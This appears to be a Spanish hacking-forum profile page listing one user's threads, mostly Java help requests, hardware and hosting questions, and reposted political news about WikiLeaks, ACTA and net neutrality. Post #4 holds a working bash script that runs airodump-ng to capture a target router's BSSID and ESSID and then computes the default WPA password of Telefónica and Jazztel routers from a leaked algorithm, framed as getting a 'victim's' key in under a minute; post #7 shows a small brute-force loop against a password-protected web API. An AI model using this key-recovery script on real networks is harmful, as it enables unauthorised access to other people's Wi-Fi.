Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Afsoon

#1
Java / Ayuda con problema [Resuelto]
12 Noviembre 2011, 18:32 PM
Hola buenas, estoy dando la cabeza con un problema de una pagina web en Java y no lo consigo, tengo todo menos la parte de calcular. Aqui os pongo el problema (No todo el enunciado porque hay una parte que no sirve).

Citar
Tanto el nombre del grupo y el nombre del cometa son convertidos en un número de la siguiente manera: el número final es simplemente el producto de todas las letras en el nombre, donde "A" es 1 y "Z" es 26. Por ejemplo, el grupo "USACO" sería 21 * 19 * 1 * 3 * 15 = 17955. Si el número del grupo módulo 47 es el mismo que el número del cometa módulo 47, entonces tú necesitas decirle al grupo ¡Alístense¡ (Recuerda que "a mod b" es el residuo después de dividir a por b; 34 mod 10 es 4.)

Escribe un programa el cual lea el nombre de un cometa y el nombre de un grupo y encuentre si de acuerdo al método antes descrito el grupo debe ir en el OVNI detrás de ese cometa y en ese caso imprima "GO", y si no "STAY". Los nombres de los grupos y de los cometas serán cadenas de letras mayúsculas sin espacios ni caracteres de puntuación, hasta de 6 caracteres de longitud.

Ejemplos:

Entrada    Salida
COMETQ
HVNGAT      GO
------------------------
ABSTAR
USACO      STAY


Y este es el código que tengo hecho

Código (java) [Seleccionar]

public class ride {
private int valorGrupo;
private int valorNave;
private int mod;
private String grupo;
private String nave;
private BufferedReader in;
private PrintWriter out;
private StringTokenizer st;

public ride() throws Exception{
try
{
in = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream(this.getClass().getSimpleName()+".in")));
out = new PrintWriter(new FileWriter(this.getClass().getSimpleName()+".out"));

String datos = in.readLine().trim();
st = new StringTokenizer(datos);
nave = st.nextToken();

while((datos = in.readLine()) != null){
st = new StringTokenizer(datos);
grupo = st.nextToken();

}

if(grupo.length() > 6 || grupo.length() == 0 || nave.length() > 6 || nave.length() == 0)
System.exit(0);


valorGrupo = 1;
valorNave = 1;

for(int i = 0; i < grupo.length(); i++){
valorGrupo *= Character.getNumericValue(grupo.charAt(i));
}

for(int i = 0; i < nave.length(); i++){
valorNave *= Character.getNumericValue(nave.charAt(i));
}

mod = 47;


}catch (Exception e) {
throw new Exception(e);
}finally
{
if(in != null)
in.close();
if(out != null)
out.close();
}
}


public static void main(String[] args) {
try
{
new ride();
System.exit(0);
}catch(Exception e){
e.printStackTrace();
System.exit(-1);
}
}
}


Las clases in y out seria para los archivos en donde se encuentra los datos (in) y out (la escritura de si es GO o Stay). Llevo tiempo dando el coco pero no consigo sacar la maldita operacion, o es que lo comprendo mal o no lo se.
#2
Desarrollo Web / Un buen host para web y foro
24 Abril 2011, 18:34 PM
Hola buenas, estoy involucrado en un proyecto entre 9 personas (cada uno en su respectivo campo) de una página WEB, en principio teníamos servidor propio pero el que lo mantiene no puede por falta de tiempo entonces hemos decidido contratar un Host pero no sabemos cual es mejor.
Nuestro proyecto esta compuesto de un foro y web. El proyecto esta hecho con base de Joomla, es decir, el host tiene que tener compatibilidad con Joomla, también el host si es posible que se pueda realizar pagos por Paypal.
El host que he encontrado por ahora que me cumple los dos requisitos (al menos que cumpla el de Joomla) es Bluehost. He estado buscando sobre esa empresa y dicen que es muy bueno respecto calidad/precio, un buen servicio técnico, viene con el Cpanel incluido y permite SSH. Me gustaría si alguien lo ha usado, lo usa o conoce alguien que lo ha usado que le pareció esa empresa.
Por último también me podéis recomendar mas empresas que al menos tenga compatibilidad con Joomla y si es posible pago por Paypal, para no tener que asociarlo a ninguna cuenta bancaria ni nada por el estilo.
#3
Java / Juegos en POO [SOLUCIONADO]
7 Marzo 2011, 19:14 PM
Hola buenas, tengo pensado hacer un pequeño juego en 2D en Java (Luego portar lo a Android) pero la cuestión, es que no encuentro documentación muy detallada (He encontrado poca cosa pero me es insuficiente) sobre como hacer juegos en POO (más concreto Java), ya que no se como aplicar la física en un sprite, técnicas de buffer para las imágenes y étc. Si alguien me diese información de como hacerlo se lo agradecería un montón. Un Saludo a todos.
#4
Wireless en Linux / AiroWPA
6 Febrero 2011, 17:13 PM
Hola buenas, como todos estaréis al corriente de que se filtrado el algoritmo de las contraseñas WAP de Telefónica y Jazztel, pues bien, me he descargado el script en Bash, que estaba hecho por a.s.r y lo he editado un poco (Pero el algoritmo esta intacto, solo he editado el paso de variables y he añadido unas cosas) y también le he añadido airodump-ng para que sea mas fácil saber la BSSID de la víctima (lo hice para noveles o para los que no se quieren romper la cabeza). Por último, yo no me hago responsable del uso que se le puede dar a terceros (También tengo el aviso en el script) porque quiero enseñar la facilidad de sacar estas contraseñas ahora (eso se encarga la parte de a.s.r) y si esta automatizado el proceso para saber las cosas necesarios en menos de 1 min ya tienes la contraseña (Esa es mi parte, hay muy poca iteración con el usario). Como el saber es libre, aquí tenéis el script
Código (bash) [Seleccionar]

#/bin/bash/

#############################################################################################################################################
# Esta parte del script esta hecho por Afsoon (a excepción del algoritmo que esta implantado por a.s.r), yo no me hago responsable del uso # que se le puede dar a terceros, yo hago esto con fines didácticos, para mostrar la poca seguridad de los routers de Telefónica (WLAN_XXXX) # y Jazztel y con la facilidad que se sacan si el proceso se automatiza .
#############################################################################################################################################

#Variable de la interfaz que se deberá de escribir antes de iniciar el script
INTERFAZ=
# Se encarga de preguntar antes del inicio si ha escrito la interfaz para ejecutar airodump para saber la ESSID y BSSID

echo "Antes de ejecutar este script, ustede debe de haber"
echo "abierto el script y escrito en la variable INTERFAZ"
echo "su interfaz que se usará para airodump"
echo "si no lo ha hecho diga no ahora, escriba la interfaz"
echo "y vuelva a abrir el script y diga si"

echo "Ha escrito su interfaz [s]i\[n]o"
read opc

if [ $opc == "s" ]; then

# Esta parte mostrara el airodump para ver la BSSID y ESSID

clear
echo "Ahora se usara airodump, para saber la BSSID y ESSID al"
echo "que desea atacar. Usted puede parar el proceso cuando quiera"
echo "Cuando pare el proceso pasaremos a generar la contraseña"
echo "una vez obtenido los datos necesirarios que se dice a continuación"
echo "Se le abrira Gedit en paralelo a airodump"
echo "y copia el BSSID y ESSID de la víctima"

trap 'airodump' INT;
airodump()
{

# Ahora ejecuta el script que generara la contraseña pero con unas cuantas variaciones
# en el que hay un paso de variables por teclado
clear
echo CalcWLAN by a.s.r and some edited by Afsoon # NO HE EDITADO EL ALGORITMO

echo "Ahora se mostrara lo que debes de escribir"                                                                    

echo "Inserte su ESSID"
echo "Por ejemplo WLAN_C58D"

read ESSID

echo "Inserte el BSSID"
echo "Por ejemplo 64:68:0C:C5:C5:90"

read BSSIDS
                             
HEAD=$(echo -n "$ESSID" | tr 'a-z' 'A-Z' | cut -d_ -f2)                                              
BSSID=$(echo -n "$BSSIDS" | tr 'a-z' 'A-Z' | tr -d :)                                                
BSSIDP=$(echo -n "$BSSID" | cut -c-8)                                          
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)                  
                                                                               
echo "La clave es $KEY"
exit

}

sudo airodump-ng $INTERFAZ
wait 2
gedit &
fi

if [ $opc == "n" ]; then
exit
fi


El funcionamiento del Script es muy simple:

1- Hace una pregunta para saber si has escrito la interfaz (si no se escribe poco hará el Script)
2- si se dice que si, se le dirá que se usara airodump y gedit, este último para apuntar la BSSID y ESSID y cuando acabe con el proceso se pasará a generar la contraseña
3- Cuando se mata el proceso de airodump y se haya copiado el BSSID y ESSID, se le pedirá que se ingrese los datos correspondientes y ya el algoritmo hace su trabajo y te muestra la contraseña.
#5
Foro Libre / Ingenería de Computadores
23 Enero 2011, 09:29 AM
Hola buenas, me gustaría saber la opinión de la gente sobre esta carrera, me da igual en el año que este (Preferentemente del 3 o 4 año jeje) y que nota de Selectividad necesito para entrar en la carrera
#6
Hola buenas, tengo unos algoritmos hechos por mí de forma matemática, con todos los pasos y que hacer en cada momento, pero cuando intento implementarlo en forma de programación no se como hacerlo, no se como plasmar las operaciones, pero en cuanto que métodos usar o librerías eso lo tengo claro, mi problema es la hora de implementarlo, si alguien me podría dar algunos consejos de como hacerlo, se lo agradecería y mucho. Eso es todo.

PD: No se si influirá pero lo estoy haciendo Java (Que es el por el que me he metido un poco)
#7
Hola buenas, estoy en reto con mi amigo para descifrar la contraseña para saber un texto en una imagen, y lo tengo que hacer en bash y usando GET, bueno con lo que lo cifro tiene un api que permite GET y sabiendo algunas de las letras de la contraseña (que me dio) y solo me falta 1 letra que no se cual es y entonces no se si lo estoy pasando bien la variable al comando para que haga la petición con esa variable, aqui pongo el código
Código (bash) [Seleccionar]

#/bin/bash/

a=a
m=m
s=s
t=t
r=r

u=u
k=k

for h in a b c d e f g h i j k l m n ñ o p q r s t u v x y z; do
palabra=$a$m$s$t$r$h$u$k
lwp-request 'http://www.viciao2k3.net/services/cryptimg/api/v1/?url=XXXXX&pass='$palabra'&format=TXT' >> texto
done
exit


la URL no la he puesto por algunos motivos que conozco, la comillas individuales estan para que no considere los "&" y donde la variable $palabra no hay comillas por si no pasaba el valor y es hay donde no se si esta bien

Código (bash) [Seleccionar]

'pass='$palabra

Si alguien me lo podría decir.
#8
Hardware / Consejos para un portátil.
29 Diciembre 2010, 19:17 PM
Hola buenas, estoy buscando que portátil para comprar, tengo como máximo 2244€ (Pero como es lógico no me quiero gastar eso, yo creo que con algo más de 1000€ se tiene uno decente) para gastar, para que la ayuda se más fácil aquí los criterios:

1- No soy Gamer así que descartando los Alienware
2- Su uso será para desarrollo de software (Si no repito en año y medio empiezo la carrera) pero ya le estoy empezando dando caña con el desarrollo de software.
3- Uso también para navegar, ofimática y si eso casualmente algún que otra película o serie y así que el HD esta aceptado.
4- Acepto páginas para portátiles genéricos (por ahora se Dell, Sony y no se si Asus)
5- Por último y algo menos importante, el uso de Windows que se le dará sera muy bajo, mi uso estará muy centrado en Linux.

Por ahora le había echado la vista a un Dell XPS 15 con estas características seleccionada por mi:

-Intel i5 (2,66 GHz, 3M, TurboBoost 3,2 Ghz)
-Pantalla 15,6" FullHD
-4GB SDRAM DDR3
-Tarjeta gráfica NVIDIA® GeForce® 420M GT 1GB(Wireless N1000 Card Only) (Me gustaría saber si es buena esta tarjeta Nvidia)
-Batería de 9 Celdas y 90W/h
-Bluetooth 3.0
- Mas otras características que están aquí http://www1.euro.dell.com/content/products/productdetails.aspx/xps-15?c=es&l=es&s=dhs&cs=esdhs1&baynote_bnrank=0&baynote_irrank=1&~ck=dellSearch

Precio: 1.047,25 € (Sin IVA y con los portes)

A mi me parece bastante bueno, pero estoy abierto a mas posibilidades. Por último es un poco al margen los procesadores de Intel Sandy Bridge (Creo que se escribían así) que mejoras habrán respecto a los actuales i3, i5, i7. Bueno eso es todo y  lo siento por todo lo que he escrito pero para explicar todo y para que no hubiese dudas.
#9
Electrónica / Flash LED
29 Diciembre 2010, 15:27 PM
Hola buenas, tengo un proyecto planeado para hacer un flash Led usb (En principio USB para luego pasarlo a un microUSB) para móviles que no tienen, pues no se que tipo LED usar, pensaba usar un LED RGB y usar los tres colores a la vez y saldría el blanco y según leí que es un blanco con mucha fuerza, si alguien me podría recomendar que LED usar. Eso es todo.
#10
El joven Manning, al principio, no entendía nada. Entenderlo le llevó a una prisión militar, primero en el desierto de Kuwait y ahora en Quantico (Virginia). Allí sigue. Nación Red.
De alguna manera todo se intuye. Lo que sorprenderá es el relato del "embajador" explicando al Departamento de Estado como se lo lleva el "presidente" del país por que los jóvenes soldados han ido a morir.

Luxemburgo, Liechtenstein, Monaco, Belice... Antillas Holandesas. Países recurrentes en las filtraciones históricas de WikiLeaks que están en boca de todos. Incluso del señor Gates cuando llama a los aliados.

El mapa de la corrupción global es obra del propio Departamento de Estado. La filtración: de un australiano en apuros. Los que han visto "algo" explican que los americanos han llevado los "apuntes" de "todo" y hasta se permiten comentarios jocosos en los cables diplomáticos que van a salir sobre lo que se llevan unos y otros. Sobre todo se relata ese momento casi cotidiano a escala mundial y controlado por la CIA y el FBI en que toca mirar a otro lado. Comisiones de guerra.

Rusia, donde los políticos roban y los periodistas combativos son asesinados y reciben palizas que les fracturan el craneo, Afganistán y la corrupción en Palacio, Iraq y el latrocinio generalizado que no evitó la llegada los aliados de las Azores con el presidente de Europa, Barroso, al frente.

Países olvidados que encarcelan blogueros y cuyos dirigentes cometen delitos impunemente: Kazajistán, Kirguizistan, Tadyikistan, Turkmenistán y Uzbekistán y Azerbaiyán: escala de tránsito para las tropas que van a Afganistán.

No falta el Vaticano y los abusos sexuales a niños que conocía todo el mundo ¿hace años? – "la Interpol no debe actuar" – o el Libano y el terrible caso del magnicidio del presidente seguido de grandes transferencias, paraiso fiscal mediante, de dos países para influir sobre la sentencia que nunca llega. Tráfico de armas y política. Escuchas y más escuchas. Hasta hoy. ¿Cómo hemos llegado hasta aquí? Por la dimisión de los poderes: Prensa y Justicia.

Microsoft y las injerencias externas. La Banca y las "ayudas" que luego se devuelven, cuando entran en crisis, mediante un decreto a la medida. Después de saquear el banco. Las Fundaciones, ay, las fundaciones... y los influyentes señores. Siempre Defensa, Washington Boulevard. Biden y el cristal de Tiffany.

El enviado de la República mintiendo a las familias de los ingenieros que fueron asesinados en Pakistán. Procedimiento habitual: financiación de partidos a nivel global, – ay, la Internacional -, injerencia interna permanente, control de Defensa (tráfico de armas, espionaje y servicios secretos (pdf)), Copyright (patentes). Control de Internet. Lo que todo el mundo sabía en un link. Lo que el "soldado Manning", único detenido en toda esta historia descubrió:

Es entonces cuando un Manning que está expresando su "hartazgo y desencanto" por lo que ha podido descubrir, escribe a Adrian Lamo:
... afecta a todos en la tierra ... en todas partes hay un cable de los EE.UU. ... hay un escándalo diplomático que revelar ... Islandia, el Vaticano, España, Brasil, Mada(ga)scar.

Según un investigador británico que como en los peores tiempos del IRA ha vuelto a tomar medidas de protección personal, uno de los casos más graves desde el punto de vista político a nivel global es el del presidente de Iraq Nuri al-Maliki. "Es el caso paradigmático del nivel de pobredumbre en el que nos han metido. Hemos dejado robar y puesto al frente de Iraq a alguien que tiene precio y mantiene relaciones económicas y políticas con el gran enemigo".

The Guardian ya desveló que Maliki además de corrupto es un traidor. Si preguntan por allí les dirán "que no nos sorprende que la noticia tenga poco recorrido". Así está el mundo:

Muqtada al Sadr ha sido el hombre clave del pacto secreto entre Mahmoud Ahmadinejad y Maliki. Un pacto que incluye a Siria, el Líbano de Hezbolá y las más altas autoridades chiítas del Islam.
El gran aliado de los periodistas combativos, que son linchados, asesinados o vuelven a mirar hacia atrás cuando la noche o la bruma presenta sus perfiles más tenebrosos, es Internet. Explica Julian Assange que el mundo ya no será reconocible – ni el pasado ni el presente – cuando en unas semanas o meses "los leaks" de la gran corrupción mundial sean links. El mundo puede experimentar el cambio pacifico más grande en términos políticos de su historia gracias a Internet. ¿El mapa de la corrupción o el mapa de la política?.

Hay que regenerar la representación política. No mirar para otro lado. Es la hora de los ciudadanos digitales. Hay que recuperar un principio fundamental: πολιτικος. Internet tiene mucho que decir.

Fuente:www.nacionred.com
#11
Hola buenas, me gustaría saber si me recomendais instalar Ubuntu junto una partición de MacOS X en un futuro MacBook Pro, ya que le veo Linux mas comodo para programar y si le afectaría algo al Mac con Linux o no?
#12
No ha podido ser. La badera de la UE ya ondea en el tanque del ACTA y el copyright. La débil defensa de la resistencia política ha caído. Liberales progresistas y el bloque de la izquierda han defendido su resolución crítica (.doc) y han perdido. La derecha se los ha llevado por delante. La moción para frenar ACTA ha obtenido 306 a favor y 322 en contra.

La Comision Europea tiene desde hace hoy carta blanca para firmar ACTA. El paso previo y decisivo se ha dado. Se ha formalizado lo que el Tratado de Lisboa demanda pero en la "calle" no es normal. La mayoría de los eurodiputados y el "gobierno" por un lado. La calle por otro. Al menos la acera por la que avanza la sociedad civil informada. La resistencia.

Se han hecho las cosas como el guión de los lobbistas y el imperio exige. La derecha europea (populares y conservadores) casi de manera entusiasta. Pero aquí una vez más han sido claves las oportunas abstenciones o ausencias a lo Cospedal. El Parlamento Europeo abre la puerta a ACTA con la ayuda de dos ugieres en tiempo de saludo que son el Partido Popular Europeo y los restos del conservadurismo británico antes de Cameron. Un espectro del pasado que se arrastra por los pasillos de la que es la única institución europea elegida por los ciudadanos europeos.

Un acuerdo nocivo para Internet y la libertad digital que los negociadores de Barroso, al que ya engañaron en la Azores, tienen las manos libres para negociar los últimos detalles y firmar ACTA. Cierto que el pleno tendrá una oportunidad más de refrendar o no un tratado que en la práctica es ya una realidad. Lo explicaba el eurodiputado Raül Romeva i Rueda con pocas palabras y la urgencia del momento. Bastaba twitter.

Una vez derrotada la moción de la izquierda y los liberales se ha aprobado la resolución de populares y conservadores favorable a ACTA por 331 votos a favor, 294 en contra y 11 abstenciones.

Fuente:http://www.nacionred.com/default/306-a-favor-322-en-contra-26-abstenciones-el-parlamento-europeo-abre-la-puerta-a-acta
#13
Hola buenas, vengo de Java y quiero empezar con C/C++ pero nose con que libro.

PD:Actualmente uso linux, mas concreto Ubuntu
#14
Noticias / Skype vs Europa [Neutralidad de la Red]
13 Noviembre 2010, 16:17 PM
La Europa política, ese edificio en ruinas cuya arquitectura sufre de aluminosis, es un Beirut de familias políticas y viejas corporaciones comprando voluntades. France Telecom de Sarkozy o Telefónica de Sebastián y Pilar del Castillo. Un tinglado. Una catástrofe y dos presidentes. El "carismático" Rompuy y el engañado de las Azores. ¡¡Un político que se deja engañar al frente de Europa!! Imagen del descrédito de la política.

¿Qué hemos hecho para merecer esto? En parte votarles en las elecciones europeas. Nada de lo que escribamos aquí tiene el menor sentido sin tener en cuenta la situación política de Europa. Sin ser conscientes de su grave enfermedad burocrática y política. Había y hay plataformas sutiles y políticos/partidos insobornables y con determinación para defender la Internet abierta que reciben muy pocos votos. Otro gallo cantaría y no el de Sarkozy. Ya llegarán las europeas.

Tres ejemplos rápidos de la involución a la que nos ha llevado el bipartidismo servil (1, 2, 3). Ninguna empresa, ninguna asociación, ninguna familia, ninguna comunidad de vecinos... tolerarían estos comportamientos. ¿Por qué sigue Barroso? Porque no hay votos suficientes en el PE para mandarlo a Portugal.

Introducir una papeleta u otra en las elecciones es una cosa muy seria. Fíjate lo que hacen, una mayoría de socialistas y populares, una vez allí instalados con el voto de los que todavía van a votar. Tolerar las vejaciones a la democracia que es algo más que votar listas cerradas y salir elegido. Control, separación de poderes, información, transparencia, e-democracia/participación... respeto a las minorías. Pero esos son nuestros representantes y los escaños que ocupan ya se renovarán. No hay que perder la fe en el PE. Otra cosa es la Comisión de Barroso y el Consejo de Rompuy.

La Comisión Europea ¿avala? la ruptura de la Neutralidad en la Red

Cuenta Europa Press, el poder de la noticia que se reproduce, que la neutralidad en la red como la veníamos conociendo hasta ahora puede tener los días contados tras el aval de la Comisión Europea (?) y el beneplácito del Gobierno de España, ¿tanto poder tenemos?. ¿Dónde está el aval?. Ya nos lo enseñarán. Se refieren a ¿esto?. Claro que sí, pero en la otra versión de la noticia.

Informa Europa Press con más detalle de lo que está pasando y en clave política española:

Por su parte, el grupo popular en el Parlamento Europeo ha avalado que se produzca una gestión del tráfico por motivos de congestión y seguridad. La eurodiputada popular Pilar del Castillo intervino en la reunión organizada conjuntamente por la Comisión y el Parlamento Europeo el jueves 11 para defender algunas "condiciones "sine qua non" que deben ser garantizadas para asegurar la neutralidad de la Red". Estas condiciones muestran una opinión similar a la transmitida por el Ministerio de Industria. La primera es que exista un mercado competitivo de operadores y proveedores de servicios.
La eurodiputada de PP avala que las telecos limiten el acceso o el uso de aplicaciones en la Red ya que la gestión del tráfico "no es contraria a los principios de neutralidad en la red". En este sentido, la eurodiputada insiste en que la gestión del tráfico "es una parte necesaria y esencial de la operación de un eficiente a Internet", para "hacer frente a los problemas de congestión y seguridad".
Meten en el mismo saco al gobierno español, Pilar del Castillo y Neelie Kroes. No les falta algo de razón, pero conviene matizar. Ahí, en los matices está la verdad (Paul Valery). La comisaria no puede hacer lo que quiere. Hace lo que puede. Barroso no le apoya. El Consejo – el verdadero poder europeo donde deciden los gobiernos – es una marioneta del viejo poder económico ligado a los oligopolios de la concesión gubernamental, ajena al mercado libre, y el lobby del copyright. Allí Kroes no lo tiene crudo. No tiene nada nada que hacer. Allí manda Sarkozy y en la Comisión también.

A la holandesa no la quieren. El eurodiputado pirata Christian Engström, en cambio, tiene palabras de reconocimiento para la comisaria que ha estado a punto de tirar la toalla.

En Europa se gobierna desde el consenso tembloroso de lo que impone el más fuerte o el que más presiona. Pobre Grecia. No se respeta la voluntad ciudadana, ni se consulta. Los únicos semirepresentantes de los ciudadanos (los eurodiputados) son humillados y vejados una y otra vez por los representantes de una parte de la Comisión Europea. Valga el ejemplo de la troika negociadora del ACTA. ¿Nadie va a contar qué hacen con los votos de Grecia?. Lo que quieren. La han convertido en una marioneta...



Hay muchas interpretaciones sobre las palabras de Kroes en la conferencia del jueves sobre Neutralidad. No es tan importante. Al final serán las directivas, como el BOE en España, las palabras se las lleva el viento, pero es justo saber que la Kroes no es Sebastián, Almunia o Luc Devigne, el peón faltón de Sarkozy en las negociaciones del ACTA.

En el corazón de la UE algunos están intentando (británicos, holandes y finlandeses) apagar el fuego que convertirá en cenizas el Internet que conocemos. La bombera Kroes es una de esas políticas. Hace lo que puede. Por ejemplo aprovechar su tribuna para animar a los consumidores a actuar:

Cambiad de operador. Yo me he pasado a Skype.
La comisaria está hasta el casco. Hasta cuando le obligan a ceder mete una cuña de libertad. Nos consta. Puede dimitir o seguir con el extintor apagando el fuego que encienden los pirómanos como Sarkozy, Barroso, Zapatero y Berlusconi. ¿Qué es mejor? Algo está claro: se va a quemar.

FUENTE:http://www.nacionred.com/neutralidad-de-la-red/neelie-kroes-a-los-consumidores-europeos-abandonad-vuestro-operador-y-pasaros-a-skype
#15
Java / duda Clase de reflexion
9 Noviembre 2010, 08:22 AM
Hola, para la comprabacion de archivos me recomendais usar clase de reflexion, ya que si uso If's quedaría inlegible, pero como lo usaría para comprobar los archivos? y es posible usarlo para sistema de plugin?
#16
Hola buenas, en la página de eclipse encontre un plugin muy interesante para desarrollo entre 2 personas (nose si mas) sin que este cerca y para enseñar a gente a mucha distancia, se llama Cola, si le queréis ver en fucionamiento aqui un video:

http://www.vimeo.com/1195398?pg=embed&sec=1195398

Ahora yo estoy en una odisea instalandolo, solo he instalado una de las cosas que se necesita.

PD:Se quereis instalarlo pasaros por aqui:

http://www.eclipse.org/ecf/downloads.php

Y aqui

http://wiki.eclipse.org/DocShare_Plugin [DocShare es el nombre del plugin de Cola]
#17
Java / [APORTACION] Código base de Splash
6 Noviembre 2010, 18:26 PM
Bueno ahora el código para hacer un splash, para que no hagan en adelante temas para que la gente pregunte sobre eso, es funcional, esta preparado el hilo de la barra, solo tenéis que insertar la ruta de la imagen (la tenéis que insertar en bin en el package[es lo que hago yo] la imagen y si quereís creais una carpeta), configuráis el tamaño de la ventana y lo que quieres que haga el hilo, eso es todo creo y aquí el codigo

Código (java) [Seleccionar]

import javax.swing.*;
import java.awt.*;
import java.io.File;
/**
*
* @author Afsoon de elhacker para la gente de elhacker y el resto, permito
* su distribución con la acredeticación del autor del código base
*
*/
public class Splash extends JFrame {
private JLabel label;
private Threadbar thread;
private JProgressBar bar;

public Splash(){
super("");
defineVentana();
//Here create the new thread
thread = new Threadbar(bar);
//Start Thread
thread.start();
//Here get point x,y where will appear Window
               // This Operations is provided by Darhius elhacker
int x = (int)((java.awt.Toolkit.getDefaultToolkit().getScreenSize().width)- this.getSize().width)/2;
int y = (int)((java.awt.Toolkit.getDefaultToolkit().getScreenSize().height)- this.getSize().height)/2;
//Size and basic
this.setLocation(x, y);
this.setSize(400,300);
this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
this.setVisible(true);
//Empty the memory
thread = null;
}

public void defineVentana(){
this.setLayout(new BorderLayout());
//Image Splash
ImageIcon jpg = new ImageIcon(getClass().getResource(/*Insertar ruta de la imagen*/));
label = new JLabel(jpg);
//Progress
bar = new JProgressBar();
bar.setBorderPainted(true);
bar.setForeground(new Color(0, 0, 55));
bar.setStringPainted(true);
//Add component in the Layout
this.add(label, BorderLayout.CENTER);
this.add(bar, BorderLayout.SOUTH);
}

public void showError(Exception e){
System.err.print(e);
}

public void pausa(int mSeg){
try
{
Thread.sleep(mSeg);
}catch(Exception e)
{
showError(e);
}
}

class Threadbar extends Thread{

private JProgressBar bar;
public Threadbar(JProgressBar bar)
{
this.bar = bar;
}
public void run(){
for(int i=0;i <= 100; i++)
{
bar.setValue(i);
pausa(100);
}
}

}

}

#18
Java / Que Docking usar [SOLUCIONADO]
6 Noviembre 2010, 12:53 PM
Hola benas, he estado buscando sobre docking pero nose cual utilizar y cual es el mejor he leido Mydoggy pero nose si es el mejor, si alguien me puede recomendar alguno
#19
Java / Error JProgressBar [SOLUCIONADO]
2 Noviembre 2010, 17:07 PM
El error es cuando creó la clase para crear el constructor para el incremento de la Bar que el Eclipse me dice que esta mal el <nameclass>.setValue(i) y cuando llamo al constructor y le paso por variable la barra, aquí esta el código:

Código (java) [Seleccionar]

public class SplashWindow extends JFrame{
private JLabel splash;
private threadProgress thread;

public SplashWindow() {
super("");
//
this.WindowDefine();
//Here create the new thread
thread = new threadProgress(bar); //Error al declara la bara
thread.start();
this.setSize(248,300);
this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
this.setVisible(true);
//Empty the memory
thread = null;

}
//There Define Window
public void WindowDefine(){
this.setLayout(new BorderLayout());
ImageIcon jpg = new ImageIcon(getClass().getResource("splash/EAL69-copia-copia-248x300.jpg"));
splash = new JLabel(jpg);
//Progress
JProgressBar bar = new JProgressBar();
bar.setBorderPainted(true);
bar.setForeground(new Color(30, 20, 15, 70));
bar.setStringPainted(true);
//Add component in the Layout
this.add(splash, BorderLayout.CENTER);
this.add(bar, BorderLayout.SOUTH);
}
//There create the pausa Thread
public void pausa (int mSeg){
try
{
Thread.sleep(mSeg);
}catch(Exception e)
{
showError(e);
}
}

public void showError(Exception e){
System.err.print(e);
}

//There a create increment in the Progress bar
class threadProgress extends Thread {

JProgressBar bar;

public threadProgress(JProgressBar bar)
{
super();
this.bar = bar;
}

public void run(){

for(int i=0; i <= 100; i++)
{

threadProgress.setValue(i);//Error cuando declaro con setValue
pausa(10);
}
}


}

}


he probado declarar la barra al principio con

Código (java) [Seleccionar]

private JProgressBar bar;


pero lo de setValue no se como arreglarlo

#20
Java / Duda con IDE
28 Octubre 2010, 17:44 PM
Hola buenas, me gustaría preguntar que se necesita para hacer un IDE propio, es que mi hermano me han dado hacer un "IDE" pero haciendolo poco a poco (tengo todo el tiempo que necesito), porque según el me vendra bien para ir practicando Java y ver como se hace el desarrollo de un programa (lo que me quiere hacer es ir preparando a la uni, practicar programación y mas cosas), y que un IDE abarcar:

-Tratamiento de Ficheros
-GUI
-Manejo de base de datos (para el autocompletado y el pop menu) pero en este caso sera dinámica (creo).
-Y Mas cosas

Y tambien una cosas para la edición de textos, usaría JEditorPane ya que permite el colorear las palabras ,pero tengo una duda no se debo crear un formato propio (usando javax.swing.text.EditorKit), o usando uno de los tres formatos por defecto o solo con la base de datos me serviria para cuando coincidad se coloree, es la unica duda que tengo de los no, excepto de base de datos que tengo que buscar documentación (si alquien me la puede facilitar no estaría mal jeje). Bueno eso es todo.

PD:Que Layout me aconsejais porque tendra Acceso Rapidos (Directos), los menus,barra de estado abajo, a la izquierda para saber la ruta del archivos y la derecha el editor.
#21
La esposa del disidente chino Liu Xiaobo, premio Nobel de la Paz 2010, ha confirmado vía Twitter que se encuentra arrestada en su domicilio de Pekín, sin posibilidad de conectarse al telefóno.

Amigos míos, estoy de vuelta en casa. Me han puesto en arresto domiciliario. Ignoro hasta cuando
Vi a Xiaobo el 9 de octubre y le dije que había ganado el premio. Les contaré más cosas más adelante. Por favor, ayúdenme
El arresto domiciliario de Liu Xia fue anunciado ayer por la organización norteamericana Freedom Now, en cuya web se denuncia que Liu Xia se encuentra "bajo una enorme presión" y se hace un llamamiento a los líderes mundiales para condenar de manera inmediata este acto vergonzoso del gobierno chino e instar a su liberación inmediata e incondicional"

La policía bloquea el acceso al domicilio de Liu Xia en Pekín. Delante del edificio donde reside hay desplegados numerosos policías y guardias de seguridad, de paisano o uniformados, que controlan identidades y filtraban a las personas que entraban.

Su marido, Liu Xiaobo, de 54 años, cumple condena de 11 años de reclusión tras haber sido uno de los autores de la Carta 08 (pdf) firmada por miles de personas que reclamaba: democracia. Según la ONG Human Rights, Xiaobo dedicó el premio a los asesinados en la plaza de Tiananmen.

http://www.nacionred.com/derechos-humanos/ayundenme-desesperado-llamamiento-desde-twitter-de-la-mujer-del-nobel-de-la-paz
#22
Programación General / Diseño de programas
9 Octubre 2010, 12:44 PM
Hola buenas, me he planteado hacer un programa en Java de un IDE de **** (no va a ser de java, c, c++) en realidad es que es para ir practicando en la programación, me gustaria saber, como hacer un esquemas de programas (es que a mano soy un patoso a mas no poder) de como seria el diseño y todo eso.
#23
El fundador de WikiLeaks, Julian Assange, no tiene la menor duda de que El Pentágono está detrás de la última crisis en el interior de la organización.

Quieren intentar acabar con la página y desorganizar a su grupo de colaboradores. Están amenazando a los activistas que han contribuido a la publicación de información clasificada. La única escapatoria penal que se les ofrece es ayudar a la estrategia de calumnias y naturalmente intentar destruir los documentos.

Además, Julian Assange comenta la entrevista al portavoz de WikiLeaks en Alemania, Daniel Schmitt, que ha publicado la revista alemana Der Spiegel. En la misma Daniel Domscheit-Berg (su auténtico nombre) dice que fue despedido de su trabajo en la organización por criticar al fundador.

Julian Assange califica estas declaraciones como "mentira absoluta" y afirma que "Daniel fue despedido por otras razones", que no quiere desvelar.

